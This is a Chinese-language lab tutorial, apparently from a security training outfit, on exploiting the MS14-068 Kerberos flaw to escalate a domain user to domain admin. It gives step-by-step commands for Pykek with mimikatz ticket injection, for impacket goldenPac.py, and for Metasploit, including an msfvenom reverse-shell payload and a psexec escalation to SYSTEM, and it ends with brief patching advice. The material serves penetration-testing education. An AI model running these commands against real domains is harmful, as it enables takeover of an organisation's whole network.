首页 > 其他分享 >kerberos-MS14-068(kerberos域用户提权)

kerberos-MS14-068(kerberos域用户提权)

时间:2024-04-02 10:24:13浏览次数:29  
标签:域控制器 068 kerberos 用户 提权 所示 如图 权限


微软官方在2014年11月18日发布了一个紧急补丁,Windows全版本服务器系统受到影响,包括Windows Server 2003,Windows Server 2008,Windows Server 2008 R2,Windows Server 2012和Windows Server 2012 R2,修复了Microsoft Windows Kerberos KDC(CVE-2014-6324),该漏洞可导致活动目录整体权限控制受到影响,漏洞允许黑客将域内任意用户权限提升至域管理级别。通俗来讲,就是恶意攻击者获取域内任何一台计算机shell权限,同时还知道任意一名域用户用户名、sid、密码,即可拿下域管理员进而拿下域控制器,最后拿下整个域权限。

导致这个漏洞产生的原因就是在用户向KDC(Kerberos密钥分发中心)申请TGT(由票据授权服务产生的用来证明身份的凭证)时,可以伪造自己的Kerberos Ticket(Kerberos票据),该Ticket声明自己是域管理员,而KDC在处理该Ticket时未正确验证Ticket的签名,所以返回给用户的TGT使普通域用户拥有了域管理员权限,该用户可以将TGT发送到KDC,KDC中TGS(票据授权服务)在验证TGT后,将Service Ticket(服务票据)发送给该用户,该用户拥有访问该服务的权限。使攻击者可以访问域内资源。



利用Kerberos提权的常用方法介绍

 

1、使用Pykek工具包配合mimikatz进行测试;

2、使用impacket工具包中goldenPac.py进行测试。

3、使用metasploit进行测试。

4、修复方案

我们常用的方法为第一种,好处是在于pykek只需要系统存在python2.7环境即可,还可以将python文件转换为exe,在免python环境下也可以执行。第二种方法的好处是可以直接得到交互shell,操作简单便捷,适合新手。但该工具是通过psexec的方式获得shell,该方法会产生大量日志,再之psexec已经被较多反病毒厂商列为危险文件,免杀效果较差。第三种方法好处是在metasploit下进行操作,metasploit是一款较为成熟的后渗透框架,其中包含大量exp,可以更快的进行渗透测试工作,坏处是操作步骤较多,较为复杂,不适合新手操作。

测试环境如下:

域:pentest.com

域账号:user1/Aa123456@

域sid:S-1-5-21-3112629480-1751665795-4053538595-1104

域控:WIN-2K5J2NT2O7P.pentest.com

Kali:172.16.86.131

域机器:172.16.86.129



Pykek工具包

 

Pykek是利用Kerberos协议进行攻击的工具包,Pykek可以生成一张高权限的服务票据,再使用mimikatz(法国人开发的轻量级调试器)将服务票据注入到内存。

Pykek(Python Kerberos Exploitation Kit),其下载地址为

https://github.com/mubix/pykek,

如图6-47所示。

 

图6-47脚本下载页面

 

(1)工具说明

ms14-068.py为Pykek工具包中利用脚本,如图6-48所示

 

图6-48 查看ms14-068.py

 

其参数如下

USAGE:ms14-068.py-u <userName>@<domainName> 用户名@域名-s <userSid>        用户sid-d <domainControlerAddr> 域控制器地址OPTIONS:-p <clearPassword> 明文密码。--rc4 < ntlmHash> 没有明文的情况下,Ntlmhash登录。

 

(2)获取域控制器修复补丁情况

输入命令wmic qfe get hotfixid

微软对CVE-2014-6324提供的补丁修复为KB3011780,如图6-49所示,未发现该补丁。

 

图6-49获取域控制器修复补丁情况

 

(3)获取用户的SID

登录用户user1,输入命令,whoami/user。可以看到user1用户的SID为

S-1-5-21-3112629480-1751665795-4053538595-1104

如图6-50所示。

 

 

图6-50获取用户的SID

 

还有一个方法也可以用来获取用户SID,

输入命令wmic useraccount get name,sid

可以获取域内所有用户名和SID,如图6-51所示。

 

 

图6-51获取所有用户的SID

 

(4)使用Kerberos利用工具Pykek生成高权限票据

使用方法:

ms14-068.exe -u 域成员名@域名 -s 域成员sid -d 域控制器地址 -p 域成员密码

在Pykek目录中输入如下命令,如图6-52所示,在当前目录生成了一个名为[email protected]的票据文件。

python ms14-068.py -u [email protected] -s S-1-5-21-3112629480-1751665795-4053538595-1104 -d 172.16.86.130 -p Aa123456@

 

图6-52使用Pykek生成高权限票据

 

(5)查看注入前权限

将票据文件复制到Windows 2008机器mimikatz目录中,使用mimikatz将票据注入到内存。先查看当前是否有权限访问域控制器,输入命令,如图6-53所示。

 

图6-53注入票据前无法列出域控制器C盘目录

 

输入命令net use \\WIN-2K5J2NT2O7P\c$,提示Access is denied。

 

(6)清空内存中所有的票据

再打开mimikatz.exe,输入命令kerberos::purge清除现有票据信息,当看到Ticket(s) purge for current session is OK表示成功清除,如图6-54所示。

 

图6-54清空内存中所有的票据

 

(7)将高权限票据注入到内存

在mimikatz中输入如下命令,看到Injecting ticket :OK表示成功注入,如图6-55所示,输入exit,退出mimikatz。

kerberos::ptc “[email protected]

 

图6-55将高权限票据注入到内存中

 

(8)高权限注入到内存后验证权限

查看是否可以连接域控制器,再次使用dir尝试列出域控制器C盘目录,如图6-56所示,成功列出域控制器C盘目录。

 

图6-56注入后成功列出域控制器C盘目录

 

注:net use 在连接ip的时候可能会失败,故使用机器名进行连接。

 



goldenPac.py

 

goldenPac.py是被集成在impacket工具包中,用来操作kerberos的工具。goldenPac.py存放在impacket-master/examples目录中。

使用方法:

python goldenPac.py 域名称/域成员用户:域成员用户密码@域控制器地址

(1)依赖环境准备,安装kerberos客户端

Kali中默认未包含kerberos客户端,首先安装它。

输入命令apt-get install  krb5-user -y

(2)利用ms14-068配合psexec获取域控制器的cmd shell

goldenPac.py pentest.com/user1:[email protected]

就可以得到一个cmd shell,如图6-57所示。

 

图6-57使用goldenPac.py获得一个域控制器cmd shell

 

注:

(1)该工具不止可以直接得到一个shell,还可以直接上传程序,

(2)该工具可以直接执行获取一个Cobaltstrike Beacon。

 



metasploit中利用ms14-068攻击域控制器

 

首先打开metasploit找到ms14-068利用脚本位置如下。

use auxiliary/admin/kerberos/ms14_068_kerberos_checksum

列出该脚本所需选项,如图6-58所示。

 

图6-58列出该脚本所有选项

 

DOMAIN:域名称

PASSWORD:被提权用户密码

USER:被提权用户

USER_SID:被提权用户SID

填写完成所有信息后输入exploit执行。在/root/.msf4/loot目录下生成了一个名为

kerberos::clist“20180715230259_default_172.16.86.130_windows.kerberos_839172.bin”

的bin文件,如图6-59所示。

 

图6-59执行脚本,攻击域控制器

 

接着进行转换格式。由于msf不支持bin格式文件导入,先使用mimikatz将文件转换格式,在mimikatz 中输入以下命令,导出后文件为kirbi格式,如图6-60所示。

kerberos::clist”20180715230259_default_172.16.86.130_windows.kerberos_839172.bin” /export

 

图6-60 格式转换

 

最后使用msfvenom生成msf反向连接木马,在msfvenom中生成木马,如图6-61所示。

在kali中输入如下命令。

msfvenom -p windows/meterpreter/reverse_tcp LHOST=172.16.86.135 LPORT=4444 -f exe > shell.exe

 

图6-61使用msfvenom生成msf木马

 

此时获得一个meterpreter的session,将生成的木马shell.exe上传到windows 2008机器中并执行。

在metasploit中输入如下命令。

use exploit/multi/reverse_tcpset lhost 172.16.86.135set lport 4444exploit

可以看到上线一台主机ip为172.16.86.129。输入getuid回显PENTEST\user1,如图6-62所示。

 

图6-62成功获取一个session并加载kiwi

 

输入

load kiwi

输入

kerberos_ticket_use /tmp/[email protected]

将票据导入,然后输入命令background将meterpreter切到后台,这里就可以使用高权限票据来进行权限提升。

在msf中输入以下命令执行。

use exploit/windows/local/current_user_psexecset TECHNIQUE PSHset RHOSTS WIN-2K5J2NT2O7P.pentest.comset payload windows/meterpreter/reverse_tcpset lhost 172.16.86.135set session 1Exploitmeterpreter > getuidServer username: NT AUTHORITY\SYSTEM

成功提升权限。



修复方案

 

1、开启Windows Update功能,进行自动更新。

2、手工下载补丁包进行修复,微软已经在官网发布修复补丁ms14-068。

3、对域内账号进行控制,禁止使用弱口令,及时并定期修改密码。

4、在服务器端安装反病毒软件,及时更新病毒库。

 

 

Ms08067安全实验室专注于网络安全知识的普及和培训,是专业的“图书出版+培训”的网络安全在线教育平台,专注于网络安全领域中高端人才培养。

平台已开设Web安全零基础就业,Web高级安全攻防进阶,红队实战攻防特训,Java代码安全审计,恶意代码分析与免杀实战,CTF基础实战特训营,网络安全应急响应,安全工具开发,AI与网络安全等系统培训课程。实验室出版安全图书《Web安全攻防:渗透测试实战指南》、《内网安全攻防:渗透测试实战指南》、《Python安全攻防:渗透测试实战指南》、《Java代码审计:入门篇》等。

扫描客服微信 获取更多课件+学习资料

 

标签:域控制器,068,kerberos,用户,提权,所示,如图,权限
From: https://www.cnblogs.com/ms08067/p/18110000

相关文章

  • Linux提权——SUID&SUDO(Vulnhub靶机)
    #简述1、SUID提权SUID是Linux中的一中特殊权限,SUID可以让二进制程序的调用者以文件拥有者的身份运行该文件。如果对于一些特殊命令设置了SUID,那么就会有被提权的风险。而这个SUID提权的关键就是,找到root用户所拥有的SUID的文件&命令,运行该文件或者调用命令时,暂时拥有root权限,......
  • ktpass命令是Windows Server上的一个命令行工具,用于创建和管理Kerberos密钥表(Keytab)
    ktpass命令是WindowsServer上的一个命令行工具,用于创建和管理Kerberos密钥表(Keytab)。它允许管理员将用户帐户或服务帐户的凭据导出到一个可由其他系统使用的文件中,以便进行身份验证和授权。这个工具通常用于在Windows和Unix/Linux系统之间建立单点登录(SSO)的集成。通过ktpass命......
  • kerberos协议
    过程包含的任容TGT1包含:as生成的sessionkey(as)tgs信息用客户端的ntlm加密的TGT2包含:as生成的sessionkey(as)客户端信息用krbtgtntlm加密的客户端解密TGT1因为用客户端ntlm加密可以解密得到sessionkey(as)客户端生成认证因子1包含:客户端信息用......
  • windows系统提权—内核提权
    内核提权用到这个提权脚本,是用来检测失陷主机是否存在可用的提权脚本原理是靠失陷主机systeminfo里面当前系统的信息查看是哪个版本的windows主机,会从官网的查询当前版本的widows系统存在哪些提权漏洞,根据这些漏洞对应的补丁有没有打上提权步骤受害主机win7攻击者......
  • Linux脏牛提权漏洞复现(DirtyCow)
    #简述脏牛(DirtyCow)是Linux中的一个提权漏洞。主要产生的原因是Linux系统的内核中Copy-on-Write(COW)机制产生的竞争条件问题导致,攻击者可以破坏私有只读内存映射,并提升为本地管理员权限。#前期准备靶机:vulnhub——Lampiao192.168.230.217攻击机:Kali192.168.230.128#复现......
  • Linux脏牛提权漏洞复现(DirtyCow)
    #简述脏牛(DirtyCow)是Linux中的一个提权漏洞。主要产生的原因是Linux系统的内核中Copy-on-Write(COW)机制产生的竞争条件问题导致,攻击者可以破坏私有只读内存映射,并提升为本地管理员权限。#前期准备靶机:vulnhub——Lampiao192.168.230.217攻击机:Kali192.168.230.128#复现......
  • HDFSRPC安全认证Kerberos篇推广
    本文主要阐述HDFSRPC安全认证相关的实现。主要介绍Kerberos相关的实现。写在前面相关blog可以先看一下https://segmentfault.com/a/1190000039085046?sort=newesthttps://blog.csdn.net/qq_35995514/article/details/106348765https://blog.csdn.net/S1124654/article/detail......
  • 常用命令-提权降权-sudo
    常用命令-提权-sudosudo命令用来以其他身份来执行命令,预设的身份为root。在/etc/sudoers中设置了可执行sudo指令的用户。若其未经授权的用户企图使用sudo,则会发出警告的邮件给管理员。用户使用sudo时,必须先输入密码,之后有5分钟的有效期限,超过期限则必须重新输入密码。语法sudo......
  • 权限概念、权限提升概念以及权限提升的分类和目的 Windows 提权的基础原理是了解操作
    关于权限概念、权限提升概念以及权限提升的分类和目的,以下是一些基本信息供您参考:权限概念:权限是指系统或应用程序授予用户或进程执行某些操作或访问资源的能力。权限通常按照用户的身份、角色或组织结构来管理,以确保系统安全和数据保护。权限提升概念:权限提升是指用......
  • ARC068 vp记录
    A.X:YetAnotherDieGame题意:一个\(6\)面骰子,对面的两个点数和为\(7\)。初始的时候任意的一个面朝上,接下来每一轮可以翻转骰子到相邻的一面,并获得此面的得分(那一面的点数即是得分),问至少要几轮才可以获得够\(x\)分。\(1\lex\le10^{15}\)直接在\(5,6\)之间翻来翻去......